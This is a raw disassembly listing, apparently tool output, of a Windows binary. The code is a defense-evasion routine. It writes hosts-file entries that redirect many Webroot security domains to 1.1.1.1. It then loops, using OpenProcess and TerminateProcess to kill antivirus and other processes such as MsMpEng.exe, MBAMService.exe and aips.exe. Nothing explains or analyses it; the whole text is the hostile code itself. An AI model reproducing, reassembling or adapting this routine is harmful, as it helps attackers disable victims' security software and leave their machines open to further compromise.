lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_encrypt.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xb0
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xb1
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_outbound6.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xb2
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xb3
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_mirage.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
mov byte [ebp - 4], 0xb4
lea ecx, [ebp - 0x7bc]
push str.C:WindowsSystem32driversetchosts
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xb5
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_provisioningtest1.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xb6
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xb7
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_origin_stage.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xb8
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xb9
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_outbound7.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xba
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xbb
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_provisioningdev4.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xbc
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xbd
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_workspace.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xbe
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xbf
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_email.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xc0
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xc1
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_itpro.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xc2
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xc3
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_webmail.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xc4
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xc5
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_brightcloud.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xc6
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xc7
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_outlook.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xc8
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xc9
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_android.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xca
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xcb
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_bounce.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xcc
call fcn.00407e40
mov byte [ebp - 4], 0xcd
lea edx, [ebp - 0x7a4]
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_codingchallenge.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xce
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xcf
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_connect.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xd0
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xd1
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_crawler.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xd2
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xd3
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_cwademo.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xd4
call fcn.00407e40
mov byte [ebp - 4], 0xd5
lea edx, [ebp - 0x7a4]
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_enterpriseenrollment.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xd6
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xd7
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_exchangeum.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xd8
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xd9
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_fs.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xda
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xdb
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_ftp.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xdc
call fcn.00407e40
mov byte [ebp - 4], 0xdd
lea edx, [ebp - 0x7a4]
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_intl.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xde
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xdf
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_m.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xe0
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xe1
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_manageprotect.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xe2
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xe3
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_media.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xe4
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xe5
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_myemailer.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xe6
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xe7
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_ns3.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xe8
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xe9
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_origin.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xea
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xeb
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
lea eax, [ebp - 0xb64]
lea ecx, [ebp - 0x7d4]
sub ecx, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov edi, edx
shr edi, 0x1f
add edi, edx
mov dword [ebp - 0x7c8], edi
nop dword [eax]
xorps xmm0, xmm0
mov dword [ebp - 0x730], 0
push str.aips.exe
lea ecx, [ebp - 0xb64]
movq qword [ebp - 0x738], xmm0
call fcn.00407be0
push str.MsMpEng.exe
lea ecx, [ebp - 0xb4c]
mov byte [ebp - 4], 0xec
call fcn.00407be0
push str.zWebview2Agent.exe
lea ecx, [ebp - 0xb34]
mov byte [ebp - 4], 0xed
call fcn.00407be0
push str.CptHost.exe
lea ecx, [ebp - 0xb1c]
mov byte [ebp - 4], 0xee
call fcn.00407be0
push str.aomhost64.exe
lea ecx, [ebp - 0xb04]
mov byte [ebp - 4], 0xef
call fcn.00407be0
push str.zTscoder.exe
lea ecx, [ebp - 0xaec]
mov byte [ebp - 4], 0xf0
call fcn.00407be0
push str.msedgewebview2.exe
lea ecx, [ebp - 0xad4]
mov byte [ebp - 4], 0xf1
call fcn.00407be0
push str.MbamBgNativeMsg.exe
lea ecx, [ebp - 0xabc]
mov byte [ebp - 4], 0xf2
call fcn.00407be0
push str.copilot_agent_win.exe
lea ecx, [ebp - 0xaa4]
mov byte [ebp - 4], 0xf3
call fcn.00407be0
push str.ServiceHub.TestWindowStoreHost.exe
lea ecx, [ebp - 0xa8c]
mov byte [ebp - 4], 0xf4
call fcn.00407be0
push str.Microsoft.ServiceHub.Controller.exe
lea ecx, [ebp - 0xa74]
mov byte [ebp - 4], 0xf5
call fcn.00407be0
push str.ServiceHub.IdentityHost.exe
lea ecx, [ebp - 0xa5c]
mov byte [ebp - 4], 0xf6
call fcn.00407be0
push str.ServiceHub.ThreadedWaitDialog.exe
lea ecx, [ebp - 0xa44]
mov byte [ebp - 4], 0xf7
call fcn.00407be0
push str.ServiceHub.SettingsHost.exe
lea ecx, [ebp - 0xa2c]
mov byte [ebp - 4], 0xf8
call fcn.00407be0
push str.ServiceHub.DataWarehouseHost.exe
lea ecx, [ebp - 0xa14]
mov byte [ebp - 4], 0xf9
call fcn.00407be0
push str.ServiceHub.IntellicodeModelService.exe
lea ecx, [ebp - 0x9fc]
mov byte [ebp - 4], 0xfa
call fcn.00407be0
push str.vcpkgsrv.exe
lea ecx, [ebp - 0x9e4]
mov byte [ebp - 4], 0xfb
call fcn.00407be0
push str.msvsmon.exe
lea ecx, [ebp - 0x9cc]
mov byte [ebp - 4], 0xfc
call fcn.00407be0
push str.vctip.exe
lea ecx, [ebp - 0x9b4]
mov byte [ebp - 4], 0xfd
call fcn.00407be0
push str.MSBuild.exe
lea ecx, [ebp - 0x99c]
mov byte [ebp - 4], 0xfe
call fcn.00407be0
push str.WebViewHost.exe
lea ecx, [ebp - 0x984]
mov byte [ebp - 4], 0xff
call fcn.00407be0
push str.PerfWatson2.exe
lea ecx, [ebp - 0x96c]
mov dword [ebp - 4], pe_nt_image_headers32
call fcn.00407be0
push str.StandardCollector.Service.exe
lea ecx, [ebp - 0x954]
mov byte [ebp - 4], 1
call fcn.00407be0
push str.ABService.exe
lea ecx, [ebp - 0x93c]
mov byte [ebp - 4], 2
call fcn.00407be0
push str.MBAMService.exe
lea ecx, [ebp - 0x924]
mov byte [ebp - 4], 3
call fcn.00407be0
push str.BuildService.exe
lea ecx, [ebp - 0x90c]
mov byte [ebp - 4], 4
call fcn.00407be0
push str.CoordService.exe
lea ecx, [ebp - 0x8f4]
mov byte [ebp - 4], 5
call fcn.00407be0
push str.jucheck.exe
lea ecx, [ebp - 0x8dc]
mov byte [ebp - 4], 6
call fcn.00407be0
push str.jusched.exe
lea ecx, [ebp - 0x8c4]
mov byte [ebp - 4], 7
call fcn.00407be0
push str.xgTrayIcon.exe
lea ecx, [ebp - 0x8ac]
mov byte [ebp - 4], 8
call fcn.00407be0
push str.GoogleUpdate.exe
lea ecx, [ebp - 0x894]
mov byte [ebp - 4], 9
call fcn.00407be0
push str.GameBarFTServer.exe
lea ecx, [ebp - 0x87c]
mov byte [ebp - 4], 0xa
call fcn.00407be0
push str.dllhost.exe
lea ecx, [ebp - 0x864]
mov byte [ebp - 4], 0xb
call fcn.00407be0
push str.GoogleCrashHandler.exe
lea ecx, [ebp - 0x84c]
mov byte [ebp - 4], 0xc
call fcn.00407be0
push str.liveUpdate.exe
lea ecx, [ebp - 0x834]
mov byte [ebp - 4], 0xd
call fcn.00407be0
push str.httpd.exe
lea ecx, [ebp - 0x81c]
mov byte [ebp - 4], 0xe
call fcn.00407be0
push str.vshost.exe
lea ecx, [ebp - 0x804]
mov byte [ebp - 4], 0xf
call fcn.00407be0
push str.WUDFHost.exe
lea ecx, [ebp - 0x7ec]
mov byte [ebp - 4], 0x10
call fcn.00407be0
mov dword [ebp - 4], 0x111
mov dword [ebp - 0x738], 0
mov dword [ebp - 0x734], 0
mov dword [ebp - 0x730], 0
test edi, edi
je 0x406cde
cmp edi, 0xaaaaaaa
ja 0x406e2c
lea edi, [edi + edi*2]
shl edi, 3
cmp edi, 0x1000
jb 0x406c8a
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x406e31
push eax
call fcn.00409759
add esp, 4
test eax, eax
je 0x402d28
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
jmp 0x406c9d
test edi, edi
je 0x406c9b
push edi
call fcn.00409759
add esp, 4
mov ecx, eax
jmp 0x406c9d
xor ecx, ecx
lea eax, [ecx + edi]
mov dword [ebp - 0x738], ecx
mov dword [ebp - 0x730], eax
lea eax, [ebp - 0x738]
mov dword [ebp - 0x734], ecx
mov dword [ebp - 0x7c4], eax
push eax
push ecx
lea edx, [ebp - 0x7d4]
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xb64]
call fcn.00409100
add esp, 8
mov dword [ebp - 0x734], eax
push 0x407b80
push 0x26
push 0x18
lea eax, [ebp - 0xb64]
mov byte [ebp - 4], 0x14
push eax
call fcn.00409789
mov edi, dword [ebp - 0x738]
mov eax, dword [ebp - 0x734]
mov dword [ebp - 0x7c0], edi
mov dword [ebp - 0x7c4], eax
cmp edi, eax
je 0x406e08
nop word [eax + eax]
xorps xmm0, xmm0
mov dword [ebp - 0x73c], 0
mov edx, edi
movq qword [ebp - 0x744], xmm0
lea ecx, [ebp - 0x744]
call fcn.00401f90
mov eax, dword [ebp - 0x740]
mov esi, dword [ebp - 0x744]
mov dword [ebp - 0x7cc], eax
cmp esi, eax
je 0x406d91
push dword [esi]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x406d7a
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, dword [ebp - 0x7cc]
jne 0x406d58
mov esi, dword [ebp - 0x744]
mov edi, dword [ebp - 0x7c0]
test esi, esi
je 0x406ded
mov eax, dword [ebp - 0x73c]
sub eax, esi
sar eax, 2
lea ecx, [eax*4]
mov eax, esi
cmp ecx, 0x1000
jb 0x406dc5
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402d28
push ecx
push esi
call fcn.00409aef
add esp, 8
mov dword [ebp - 0x744], 0
mov dword [ebp - 0x740], 0
mov dword [ebp - 0x73c], 0
add edi, 0x18
mov dword [ebp - 0x7c0], edi
cmp edi, dword [ebp - 0x7c4]
jne 0x406d20
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
lea ecx, [ebp - 0x738]
mov dword [ebp - 4], 6
call fcn.00406e40
mov edi, dword [ebp - 0x7c8]
jmp 0x406910
call fcn.00408d00
call fcn.00401e40
int3